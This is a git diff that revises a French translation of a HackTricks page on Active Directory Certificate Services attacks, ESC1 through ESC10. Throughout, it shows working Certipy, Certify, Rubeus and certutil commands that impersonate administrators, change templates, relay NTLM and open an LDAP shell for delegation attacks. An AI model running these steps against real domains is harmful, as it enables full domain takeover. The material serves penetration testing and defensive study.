Translated ['windows-hardening/active-directory-methodology/ad-certifica

This commit is contained in:
Translator 2024-04-12 13:23:30 +00:00
parent 9a418ace08
commit af213a3213

View file

@ -8,7 +8,7 @@ Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@ -28,16 +28,16 @@ Autres façons de soutenir HackTricks :
### Explication
### Explication des modèles de certificats mal configurés - ESC1
### Modèles de certificats mal configurés - ESC1 Expliqué
* **Les droits d'inscription sont accordés aux utilisateurs à faibles privilèges par l'AC d'entreprise.**
* **Les droits d'inscription sont accordés aux utilisateurs à faibles privilèges par l'entreprise CA.**
* **L'approbation du gestionnaire n'est pas requise.**
* **Aucune signature de personnel autorisé n'est nécessaire.**
* **Aucune signature du personnel autorisé n'est nécessaire.**
* **Les descripteurs de sécurité sur les modèles de certificats sont excessivement permissifs, permettant aux utilisateurs à faibles privilèges d'obtenir des droits d'inscription.**
* **Les modèles de certificats sont configurés pour définir des EKU facilitant l'authentification :**
* Les identifiants d'utilisation étendue de la clé (EKU) tels que l'authentification client (OID 1.3.6.1.5.5.7.3.2), l'authentification client PKINIT (1.3.6.1.5.2.3.4), la connexion par carte à puce (OID 1.3.6.1.4.1.311.20.2.2), tout usage (OID 2.5.29.37.0), ou aucun EKU (SubCA) sont inclus.
* **Les modèles de certificats sont configurés pour définir des EKU qui facilitent l'authentification :**
* Les identifiants d'utilisation étendue de la clé (EKU) tels que l'authentification client (OID 1.3.6.1.5.5.7.3.2), l'authentification client PKINIT (1.3.6.1.5.2.3.4), la connexion de carte à puce (OID 1.3.6.1.4.1.311.20.2.2), tout usage (OID 2.5.29.37.0), ou aucun EKU (SubCA) sont inclus.
* **La possibilité pour les demandeurs d'inclure un subjectAltName dans la demande de signature de certificat (CSR) est autorisée par le modèle :**
* L'Active Directory (AD) donne la priorité au subjectAltName (SAN) dans un certificat pour la vérification d'identité s'il est présent. Cela signifie qu'en spécifiant le SAN dans un CSR, un certificat peut être demandé pour se faire passer pour n'importe quel utilisateur (par exemple, un administrateur de domaine). La possibilité de spécifier un SAN par le demandeur est indiquée dans l'objet AD du modèle de certificat via la propriété `mspki-certificate-name-flag`. Cette propriété est un masque de bits, et la présence du drapeau `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permet au demandeur de spécifier le SAN.
* L'Active Directory (AD) donne la priorité au subjectAltName (SAN) dans un certificat pour la vérification de l'identité s'il est présent. Cela signifie qu'en spécifiant le SAN dans un CSR, un certificat peut être demandé pour se faire passer pour n'importe quel utilisateur (par exemple, un administrateur de domaine). La possibilité de spécifier un SAN par le demandeur est indiquée dans l'objet AD du modèle de certificat via la propriété `mspki-certificate-name-flag`. Cette propriété est un masque de bits, et la présence du drapeau `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permet au demandeur de spécifier le SAN.
{% hint style="danger" %}
La configuration décrite permet aux utilisateurs à faibles privilèges de demander des certificats avec n'importe quel SAN de leur choix, permettant l'authentification en tant que n'importe quel principal de domaine via Kerberos ou SChannel.
@ -45,7 +45,7 @@ La configuration décrite permet aux utilisateurs à faibles privilèges de dema
Cette fonctionnalité est parfois activée pour prendre en charge la génération à la volée de certificats HTTPS ou d'hôte par des produits ou des services de déploiement, ou en raison d'un manque de compréhension.
Il est à noter que la création d'un certificat avec cette option déclenche un avertissement, ce qui n'est pas le cas lorsqu'un modèle de certificat existant (tel que le modèle `WebServer`, qui a `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` activé) est dupliqué puis modifié pour inclure un OID d'authentification.
Il est noté que la création d'un certificat avec cette option déclenche un avertissement, ce qui n'est pas le cas lorsqu'un modèle de certificat existant (tel que le modèle `WebServer`, qui a `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` activé) est dupliqué puis modifié pour inclure un OID d'authentification.
### Abus
@ -66,11 +66,11 @@ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.lo
```
Les binaires Windows "Certreq.exe" & "Certutil.exe" peuvent être utilisés pour générer le PFX : https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
L'énumération des modèles de certificat dans le schéma de configuration de la forêt AD, en particulier ceux ne nécessitant pas d'approbation ou de signatures, possédant une EKU d'authentification client ou de connexion de carte à puce, et avec le drapeau `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` activé, peut être effectuée en exécutant la requête LDAP suivante :
L'énumération des modèles de certificat dans le schéma de configuration de la forêt AD, en particulier ceux ne nécessitant pas d'approbation ou de signatures, possédant une EKU d'authentification client ou de connexion par carte à puce, et avec le drapeau `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` activé, peut être effectuée en exécutant la requête LDAP suivante :
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
```
## Modèles de certificats mal configurés - ESC2
## Modèles de certificat mal configurés - ESC2
### Explication
@ -80,27 +80,27 @@ Le deuxième scénario d'abus est une variation du premier :
2. L'exigence d'approbation du gestionnaire est désactivée.
3. Le besoin de signatures autorisées est omis.
4. Un descripteur de sécurité excessivement permissif sur le modèle de certificat accorde des droits d'inscription aux certificats aux utilisateurs à faibles privilèges.
5. **Le modèle de certificat est défini pour inclure l'EKU Toutes fins ou aucune EKU.**
5. **Le modèle de certificat est défini pour inclure l'EKU Any Purpose ou aucun EKU.**
L'**EKU Toutes fins** permet à un certificat d'être obtenu par un attaquant pour **n'importe quelle fin**, y compris l'authentification client, l'authentification serveur, la signature de code, etc. La même **technique utilisée pour ESC3** peut être utilisée pour exploiter ce scénario.
L'**EKU Any Purpose** permet à un certificat d'être obtenu par un attaquant pour **n'importe quel usage**, y compris l'authentification client, l'authentification serveur, la signature de code, etc. La même **technique utilisée pour ESC3** peut être utilisée pour exploiter ce scénario.
Les certificats **sans EKU**, qui agissent comme certificats de CA subordonnés, peuvent être exploités pour **n'importe quelle fin** et peuvent **également être utilisés pour signer de nouveaux certificats**. Ainsi, un attaquant pourrait spécifier des EKU ou des champs arbitraires dans les nouveaux certificats en utilisant un certificat de CA subordonné.
Les certificats **sans EKUs**, qui agissent comme des certificats de CA subordonnés, peuvent être exploités pour **n'importe quel usage** et peuvent **également être utilisés pour signer de nouveaux certificats**. Ainsi, un attaquant pourrait spécifier des EKUs ou des champs arbitraires dans les nouveaux certificats en utilisant un certificat de CA subordonné.
Cependant, les nouveaux certificats créés pour **l'authentification de domaine** ne fonctionneront pas si la CA subordonnée n'est pas approuvée par l'objet **`NTAuthCertificates`**, qui est le paramètre par défaut. Néanmoins, un attaquant peut toujours créer de **nouveaux certificats avec n'importe quelle EKU** et des valeurs de certificat arbitraires. Ceux-ci pourraient être potentiellement **abusés** pour une large gamme de fins (par exemple, la signature de code, l'authentification serveur, etc.) et pourraient avoir des implications significatives pour d'autres applications dans le réseau comme SAML, AD FS, ou IPSec.
Cependant, les nouveaux certificats créés pour **l'authentification de domaine** ne fonctionneront pas si la CA subordonnée n'est pas approuvée par l'objet **`NTAuthCertificates`**, qui est le paramètre par défaut. Néanmoins, un attaquant peut toujours créer de **nouveaux certificats avec n'importe quel EKU** et des valeurs de certificat arbitraires. Ceux-ci pourraient être potentiellement **abusés** pour une large gamme d'usages (par exemple, la signature de code, l'authentification serveur, etc.) et pourraient avoir des implications significatives pour d'autres applications dans le réseau comme SAML, AD FS, ou IPSec.
Pour énumérer les modèles correspondant à ce scénario dans le schéma de configuration de la forêt AD, la requête LDAP suivante peut être exécutée :
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
```
## Modèles d'agent d'inscription mal configurés - ESC3
## Modèles d'Agent d'Inscription Mal Configurés - ESC3
### Explication
Ce scénario est similaire aux deux premiers mais en **abusant** d'un **EKU différent** (Agent de demande de certificat) et de **2 modèles différents** (donc il a 2 ensembles de conditions),
Ce scénario est similaire aux deux premiers mais **exploite** un **EKU différent** (Agent de Demande de Certificat) et **2 modèles différents** (donc il a 2 ensembles de conditions),
L'**EKU de l'agent de demande de certificat** (OID 1.3.6.1.4.1.311.20.2.1), connu sous le nom d'**Agent d'inscription** dans la documentation Microsoft, permet à un principal de **s'inscrire** pour un **certificat** au **nom d'un autre utilisateur**.
L'**EKU de l'Agent de Demande de Certificat** (OID 1.3.6.1.4.1.311.20.2.1), connu sous le nom d'**Agent d'Inscription** dans la documentation Microsoft, permet à un principal de **s'inscrire** pour un **certificat** au **nom d'un autre utilisateur**.
L'**"agent d'inscription"** s'inscrit dans un tel **modèle** et utilise le **certificat résultant pour cosigner une CSR au nom de l'autre utilisateur**. Il **envoie ensuite** la **CSR cosignée** au CA, s'inscrivant dans un **modèle** qui **autorise "l'inscription au nom de"**, et le CA répond avec un **certificat appartenant à l'utilisateur "autre"**.
L'**"agent d'inscription"** s'inscrit dans un tel **modèle** et utilise le **certificat résultant pour cosigner une CSR au nom de l'autre utilisateur**. Il **envoie** ensuite la **CSR cosignée** au CA, s'inscrivant dans un **modèle** qui **autorise "l'inscription au nom de"**, et le CA répond avec un **certificat appartenant à l'utilisateur "autre"**.
**Conditions 1:**
@ -108,15 +108,15 @@ L'**"agent d'inscription"** s'inscrit dans un tel **modèle** et utilise le **ce
* L'exigence d'approbation du gestionnaire est omise.
* Aucune exigence de signatures autorisées.
* Le descripteur de sécurité du modèle de certificat est excessivement permissif, accordant des droits d'inscription aux utilisateurs à faibles privilèges.
* Le modèle de certificat inclut l'EKU de l'agent de demande de certificat, permettant la demande d'autres modèles de certificat au nom d'autres principaux.
* Le modèle de certificat inclut l'EKU de l'Agent de Demande de Certificat, permettant la demande d'autres modèles de certificat au nom d'autres principaux.
**Conditions 2:**
* Le CA d'entreprise accorde des droits d'inscription aux utilisateurs à faibles privilèges.
* L'approbation du gestionnaire est contournée.
* La version du schéma du modèle est soit 1, soit dépasse 2, et spécifie une exigence d'émission de politique d'application qui nécessite l'EKU de l'agent de demande de certificat.
* La version du schéma du modèle est soit 1, soit dépasse 2, et spécifie une Exigence d'Émission de Politique d'Application qui nécessite l'EKU de l'Agent de Demande de Certificat.
* Un EKU défini dans le modèle de certificat permet l'authentification de domaine.
* Aucune restriction pour les agents d'inscription n'est appliquée sur le CA.
* Les restrictions pour les agents d'inscription ne sont pas appliquées sur le CA.
### Abus
@ -134,9 +134,9 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
```
Les **utilisateurs** autorisés à **obtenir** un **certificat d'agent d'inscription**, les modèles dans lesquels les **agents** d'inscription sont autorisés à s'inscrire, et les **comptes** pour lesquels l'agent d'inscription peut agir peuvent être restreints par les CA d'entreprise. Cela est réalisé en ouvrant le `certsrc.msc` **snap-in**, en **cliquant avec le bouton droit sur la CA**, en **cliquant sur Propriétés**, puis en **naviguant** vers l'onglet "Agents d'inscription".
Les **utilisateurs** autorisés à **obtenir** un **certificat d'agent d'inscription**, les modèles dans lesquels les **agents** d'inscription sont autorisés à s'inscrire, et les **comptes** pour lesquels l'agent d'inscription peut agir peuvent être restreints par les CA d'entreprise. Cela est réalisé en ouvrant le `certsrc.msc` **snap-in**, en **cliquant avec le bouton droit sur le CA**, en **cliquant sur Propriétés**, puis en **naviguant** vers l'onglet "Agents d'inscription".
Cependant, il est noté que le paramètre **par défaut** pour les CA est "Ne pas restreindre les agents d'inscription". Lorsque la restriction sur les agents d'inscription est activée par les administrateurs, en la définissant sur "Restreindre les agents d'inscription", la configuration par défaut reste extrêmement permissive. Cela permet à **Tout le monde** d'accéder à tous les modèles pour s'inscrire en tant que n'importe qui.
Cependant, il est noté que le paramètre par défaut pour les CA est "Ne pas restreindre les agents d'inscription". Lorsque la restriction sur les agents d'inscription est activée par les administrateurs, en la définissant sur "Restreindre les agents d'inscription", la configuration par défaut reste extrêmement permissive. Cela permet à **Tout le monde** d'accéder à tous les modèles comme n'importe qui.
## Contrôle d'accès vulnérable aux modèles de certificats - ESC4
@ -151,7 +151,7 @@ Les autorisations notables applicables aux modèles de certificats comprennent :
* **Propriétaire :** Accorde un contrôle implicite sur l'objet, permettant la modification de tous les attributs.
* **Contrôle total :** Permet une autorité complète sur l'objet, y compris la capacité de modifier tous les attributs.
* **Écrire le propriétaire :** Autorise la modification du propriétaire de l'objet à un principal sous le contrôle de l'attaquant.
* **Écrire le DACL :** Permet l'ajustement des contrôles d'accès, accordant potentiellement à un attaquant un Contrôle total.
* **Écrire Dacl :** Permet l'ajustement des contrôles d'accès, accordant potentiellement à un attaquant un Contrôle total.
* **Écrire la propriété :** Autorise la modification de toutes les propriétés de l'objet.
### Abus
@ -183,19 +183,19 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
Le vaste réseau de relations interconnectées basées sur les ACL, qui inclut plusieurs objets au-delà des modèles de certificats et de l'autorité de certification, peut impacter la sécurité de l'ensemble du système AD CS. Ces objets, qui peuvent affecter significativement la sécurité, englobent :
- L'objet ordinateur AD du serveur CA, qui peut être compromis par des mécanismes comme S4U2Self ou S4U2Proxy.
- L'objet ordinateur AD du serveur CA, qui peut être compromis par des mécanismes tels que S4U2Self ou S4U2Proxy.
- Le serveur RPC/DCOM du serveur CA.
- Tout objet AD descendant ou conteneur dans le chemin de conteneur spécifique `CN=Services de clés publiques,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Ce chemin inclut, mais sans s'y limiter, des conteneurs et objets tels que le conteneur Modèles de certificats, le conteneur Autorités de certification, l'objet NTAuthCertificates et le conteneur Services d'inscription.
- Tout objet ou conteneur AD descendant dans le chemin de conteneur spécifique `CN=Services de clés publiques,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Ce chemin inclut, mais n'est pas limité à, des conteneurs et des objets tels que le conteneur Modèles de certificats, le conteneur Autorités de certification, l'objet NTAuthCertificates et le conteneur Services d'inscription.
La sécurité du système PKI peut être compromise si un attaquant à faibles privilèges parvient à prendre le contrôle de l'un de ces composants critiques.
## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
## EDITF\_ATTRIBUTESUBJECTALTNAME2 - ESC6
### Explication
Le sujet discuté dans le [**article de l'Académie CQure**](https://cqureacademy.com/blog/enhanced-key-usage) aborde également les implications du drapeau **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, telles que décrites par Microsoft. Cette configuration, lorsqu'elle est activée sur une Autorité de Certification (CA), permet l'inclusion de **valeurs définies par l'utilisateur** dans le **nom alternatif du sujet** pour **toute demande**, y compris celles construites à partir d'Active Directory®. Par conséquent, cette disposition permet à un **intrus** de s'inscrire via **n'importe quel modèle** configuré pour l'**authentification de domaine** - en particulier ceux ouverts à l'inscription d'utilisateurs **non privilégiés**, comme le modèle Utilisateur standard. En conséquence, un certificat peut être sécurisé, permettant à l'intrus de s'authentifier en tant qu'administrateur de domaine ou **toute autre entité active** dans le domaine.
Le sujet discuté dans le [**post de CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) aborde également les implications du drapeau **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, telles que décrites par Microsoft. Cette configuration, lorsqu'elle est activée sur une Autorité de Certification (CA), permet l'inclusion de **valeurs définies par l'utilisateur** dans le **nom alternatif du sujet** pour **toute demande**, y compris celles construites à partir de Active Directory®. Par conséquent, cette disposition permet à un **intrus** de s'inscrire via **n'importe quel modèle** configuré pour l'**authentification de domaine** - en particulier ceux ouverts à l'inscription d'utilisateurs **non privilégiés**, comme le modèle Utilisateur standard. En conséquence, un certificat peut être sécurisé, permettant à l'intrus de s'authentifier en tant qu'administrateur de domaine ou **toute autre entité active** dans le domaine.
**Remarque** : L'approche pour ajouter des **noms alternatifs** dans une Demande de Signature de Certificat (CSR), via l'argument `-attrib "SAN:"` dans `certreq.exe` (appelé "Paires Nom-Valeur"), présente un **contraste** avec la stratégie d'exploitation des SAN dans ESC1. Ici, la distinction réside dans **la manière dont les informations de compte sont encapsulées** - dans un attribut de certificat, plutôt que dans une extension.
**Remarque** : L'approche pour ajouter des **noms alternatifs** dans une demande de signature de certificat (CSR), via l'argument `-attrib "SAN:"` dans `certreq.exe` (appelé "Paires de noms et de valeurs"), présente un **contraste** par rapport à la stratégie d'exploitation des SAN dans ESC1. Ici, la distinction réside dans la manière dont les informations de compte sont encapsulées - dans un attribut de certificat, plutôt qu'une extension.
### Abus
@ -216,7 +216,7 @@ Certify.exe find
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
```
Pour modifier ces paramètres, en supposant que l'on possède des droits d'**administrateur de domaine** ou équivalents, la commande suivante peut être exécutée à partir de n'importe quelle station de travail :
Pour modifier ces paramètres, en supposant que l'on possède des droits d'**administration de domaine** ou équivalents, la commande suivante peut être exécutée à partir de n'importe quelle station de travail :
```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
```
@ -243,11 +243,11 @@ Cela fournit des informations sur les droits principaux, à savoir **`ManageCA`*
#### Abus
Avoir des droits **`ManageCA`** sur une autorité de certification permet au principal de manipuler les paramètres à distance en utilisant PSPKI. Cela inclut le basculement du drapeau **`EDITF_ATTRIBUTESUBJECTALTNAME2`** pour permettre la spécification SAN dans n'importe quel modèle, un aspect critique de l'escalade de domaine.
Avoir des droits **`ManageCA`** sur une autorité de certification permet à l'entité de manipuler les paramètres à distance en utilisant PSPKI. Cela inclut le basculement du drapeau **`EDITF_ATTRIBUTESUBJECTALTNAME2`** pour permettre la spécification SAN dans n'importe quel modèle, un aspect critique de l'escalade de domaine.
La simplification de ce processus est réalisable grâce à l'utilisation de la cmdlet **Enable-PolicyModuleFlag** de PSPKI, permettant des modifications sans interaction GUI directe.
La possession des droits **`ManageCertificates`** facilite l'approbation des demandes en attente, contournant ainsi efficacement la sauvegarde "approbation du gestionnaire de certificat de CA".
La possession des droits **`ManageCertificates`** facilite l'approbation des demandes en attente, contournant efficacement la sauvegarde "approbation du gestionnaire de certificat de CA".
Une combinaison des modules **Certify** et **PSPKI** peut être utilisée pour demander, approuver et télécharger un certificat :
```powershell
@ -270,7 +270,7 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
#### Explication
{% hint style="warning" %}
Dans l'**attaque précédente** les autorisations **`Gérer CA`** ont été utilisées pour **activer** le drapeau **EDITF\_ATTRIBUTESUBJECTALTNAME2** afin d'effectuer l'attaque **ESC6**, mais cela n'aura aucun effet tant que le service CA (`CertSvc`) n'est pas redémarré. Lorsqu'un utilisateur a le droit d'accès `Gérer CA`, l'utilisateur est également autorisé à **redémarrer le service**. Cependant, cela **ne signifie pas que l'utilisateur peut redémarrer le service à distance**. De plus, **ESC6** pourrait ne pas fonctionner immédiatement dans la plupart des environnements patchés en raison des mises à jour de sécurité de mai 2022.
Dans l'**attaque précédente** **`Gérer CA`**, les autorisations ont été utilisées pour **activer** le drapeau **EDITF\_ATTRIBUTESUBJECTALTNAME2** afin d'effectuer l'attaque **ESC6**, mais cela n'aura aucun effet tant que le service CA (`CertSvc`) n'est pas redémarré. Lorsqu'un utilisateur a le droit d'accès `Gérer CA`, l'utilisateur est également autorisé à **redémarrer le service**. Cependant, cela **ne signifie pas que l'utilisateur peut redémarrer le service à distance**. De plus, **ESC6** pourrait ne pas fonctionner immédiatement dans la plupart des environnements patchés en raison des mises à jour de sécurité de mai 2022.
{% endhint %}
Par conséquent, une autre attaque est présentée ici.
@ -325,7 +325,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
```
Et enfin, nous pouvons **récupérer le certificat délivré** avec la commande `req` et le paramètre `-retrieve <ID de la demande>`.
Et enfin, nous pouvons **récupérer le certificat émis** avec la commande `req` et le paramètre `-retrieve <ID de la demande>`.
```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -337,12 +337,12 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'
```
## NTLM Relay vers les points de terminaison HTTP AD CS - ESC8
## Relais NTLM vers les points de terminaison HTTP AD CS - ESC8
### Explication
{% hint style="info" %}
Dans les environnements où **AD CS est installé**, si un **point de terminaison d'inscription web vulnérable** existe et qu'au moins un **modèle de certificat est publié** qui permet l'**inscription des ordinateurs de domaine et l'authentification des clients** (comme le modèle par défaut **`Machine`**), il devient possible pour **n'importe quel ordinateur avec le service spouleur actif d'être compromis par un attaquant**!
Dans les environnements où **AD CS est installé**, s'il existe un **point de terminaison d'inscription web vulnérable** et qu'au moins un **modèle de certificat est publié** qui autorise **l'inscription des ordinateurs de domaine et l'authentification des clients** (comme le modèle par défaut **`Machine`**), il devient possible pour **n'importe quel ordinateur avec le service spouleur actif d'être compromis par un attaquant**!
{% endhint %}
Plusieurs **méthodes d'inscription basées sur HTTP** sont prises en charge par AD CS, rendues disponibles via des rôles serveur supplémentaires que les administrateurs peuvent installer. Ces interfaces pour l'inscription de certificats basée sur HTTP sont susceptibles aux **attaques de relais NTLM**. Un attaquant, à partir d'une **machine compromise, peut se faire passer pour n'importe quel compte AD qui s'authentifie via NTLM entrant**. En se faisant passer pour le compte de la victime, ces interfaces web peuvent être accessibles par un attaquant pour **demander un certificat d'authentification client en utilisant les modèles de certificat `User` ou `Machine`**.
@ -372,7 +372,7 @@ Certify.exe cas
```
<figure><img src="../../../.gitbook/assets/image (69).png" alt=""><figcaption></figcaption></figure>
La propriété `msPKI-Enrollment-Servers` est utilisée par les autorités de certification d'entreprise (CAs) pour stocker les points de terminaison du service d'inscription de certificats (CES). Ces points de terminaison peuvent être analysés et répertoriés en utilisant l'outil **Certutil.exe**:
La propriété `msPKI-Enrollment-Servers` est utilisée par les autorités de certification d'entreprise (CAs) pour stocker les points de terminaison du service d'inscription de certificat (CES). Ces points de terminaison peuvent être analysés et répertoriés en utilisant l'outil **Certutil.exe**:
```
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
```
@ -400,7 +400,7 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
```
#### Abus avec [Certipy](https://github.com/ly4k/Certipy)
La demande de certificat est effectuée par Certipy par défaut en fonction du modèle `Machine` ou `User`, déterminé par le fait que le nom du compte relayé se termine par `$`. La spécification d'un modèle alternatif peut être réalisée en utilisant le paramètre `-template`.
La demande de certificat est effectuée par Certipy par défaut en fonction du modèle `Machine` ou `User`, déterminé par la fin du nom du compte relayé en `$`. La spécification d'un modèle alternatif peut être réalisée en utilisant le paramètre `-template`.
Une technique comme [PetitPotam](https://github.com/ly4k/PetitPotam) peut ensuite être utilisée pour forcer l'authentification. Lorsqu'il s'agit de contrôleurs de domaine, la spécification de `-template DomainController` est requise.
```bash
@ -415,7 +415,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...
```
## Aucune extension de sécurité - ESC9 <a href="#id-5485" id="id-5485"></a>
## Pas d'extension de sécurité - ESC9 <a href="#id-5485" id="id-5485"></a>
### Explication
@ -424,13 +424,13 @@ La nouvelle valeur **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) pour **`msPKI
Les conditions dans lesquelles le réglage de ce drapeau devient significatif incluent :
- `StrongCertificateBindingEnforcement` n'est pas ajusté à `2` (le paramètre par défaut étant `1`), ou `CertificateMappingMethods` inclut le drapeau `UPN`.
- Le certificat est marqué avec le drapeau `CT_FLAG_NO_SECURITY_EXTENSION` dans le réglage `msPKI-Enrollment-Flag`.
- Le certificat est marqué avec le drapeau `CT_FLAG_NO_SECURITY_EXTENSION` dans le réglage de `msPKI-Enrollment-Flag`.
- Une EKU d'authentification client est spécifiée par le certificat.
- Des autorisations `GenericWrite` sont disponibles sur n'importe quel compte pour compromettre un autre.
- Les autorisations `GenericWrite` sont disponibles sur n'importe quel compte pour compromettre un autre.
### Scénario d'abus
Supposons que `John@corp.local` détient des autorisations `GenericWrite` sur `Jane@corp.local`, dans le but de compromettre `Administrator@corp.local`. Le modèle de certificat `ESC9`, dans lequel `Jane@corp.local` est autorisée à s'inscrire, est configuré avec le drapeau `CT_FLAG_NO_SECURITY_EXTENSION` dans son réglage `msPKI-Enrollment-Flag`.
Supposons que `John@corp.local` détient les autorisations `GenericWrite` sur `Jane@corp.local`, dans le but de compromettre `Administrator@corp.local`. Le modèle de certificat `ESC9`, pour lequel `Jane@corp.local` est autorisée à s'inscrire, est configuré avec le drapeau `CT_FLAG_NO_SECURITY_EXTENSION` dans son réglage de `msPKI-Enrollment-Flag`.
Initialement, le hachage de `Jane` est acquis en utilisant les informations d'identification Shadow, grâce à `GenericWrite` de `John` :
```bash
@ -446,13 +446,13 @@ Suite à cela, le modèle de certificat `ESC9`, marqué comme vulnérable, est d
```bash
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
```
Il est noté que le `userPrincipalName` du certificat reflète `Administrateur`, sans aucun "SID d'objet".
Il est noté que le `userPrincipalName` du certificat reflète `Administrator`, sans aucun "object SID".
Le `userPrincipalName` de `Jane` est ensuite rétabli à son original, `Jane@corp.local`:
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
En tentant l'authentification avec le certificat émis, on obtient maintenant le hachage NT de `Administrator@corp.local`. La commande doit inclure `-domain <domain>` en raison du manque de spécification de domaine du certificat :
En essayant l'authentification avec le certificat émis, on obtient maintenant le hachage NT de `Administrator@corp.local`. La commande doit inclure `-domain <domain>` en raison du manque de spécification de domaine du certificat:
```bash
certipy auth -pfx adminitrator.pfx -domain corp.local
```
@ -479,15 +479,15 @@ Avec `StrongCertificateBindingEnforcement` configuré comme `0`, un compte A ave
Par exemple, en ayant des permissions `GenericWrite` sur `Jane@corp.local`, un attaquant vise à compromettre `Administrator@corp.local`. La procédure reflète ESC9, permettant à n'importe quel modèle de certificat d'être utilisé.
Initialement, le hachage de `Jane` est récupéré en utilisant les Informations d'Identification de l'Ombre, exploitant le `GenericWrite`.
Initialement, le hash de `Jane` est récupéré en utilisant les Informations d'Identification de l'Ombre, exploitant le `GenericWrite`.
```bash
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
```
Ensuite, le `userPrincipalName` de `Jane` est modifié en `Administrator`, en omettant délibérément la partie `@corp.local` pour éviter une violation de contrainte.
Ensuite, le `userPrincipalName` de `Jane` est modifié en `Administrateur`, en omettant délibérément la partie `@corp.local` pour éviter une violation de contrainte.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
Suivant cela, un certificat permettant l'authentification du client est demandé en tant que `Jane`, en utilisant le modèle `Utilisateur` par défaut.
Suivant cela, un certificat permettant l'authentification du client est demandé en tant que `Jane`, en utilisant le modèle par défaut `Utilisateur`.
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
@ -507,7 +507,7 @@ Ici, l'objectif est de compromettre `DC$@corp.local`, en commençant par obtenir
```bash
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
```
`Jane`'s `userPrincipalName` est ensuite défini sur `DC$@corp.local`.
`userPrincipalName` de `Jane` est ensuite défini sur `DC$@corp.local`.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
```
@ -523,39 +523,138 @@ Pour s'authentifier via Schannel, l'option `-ldap-shell` de Certipy est utilisé
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
À travers le shell LDAP, des commandes telles que `set_rbcd` permettent des attaques de délégation contrainte basée sur les ressources (RBCD), compromettant potentiellement le contrôleur de domaine.
À travers le shell LDAP, des commandes telles que `set_rbcd` permettent d'activer les attaques de délégation contrainte basée sur les ressources (RBCD), compromettant potentiellement le contrôleur de domaine.
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
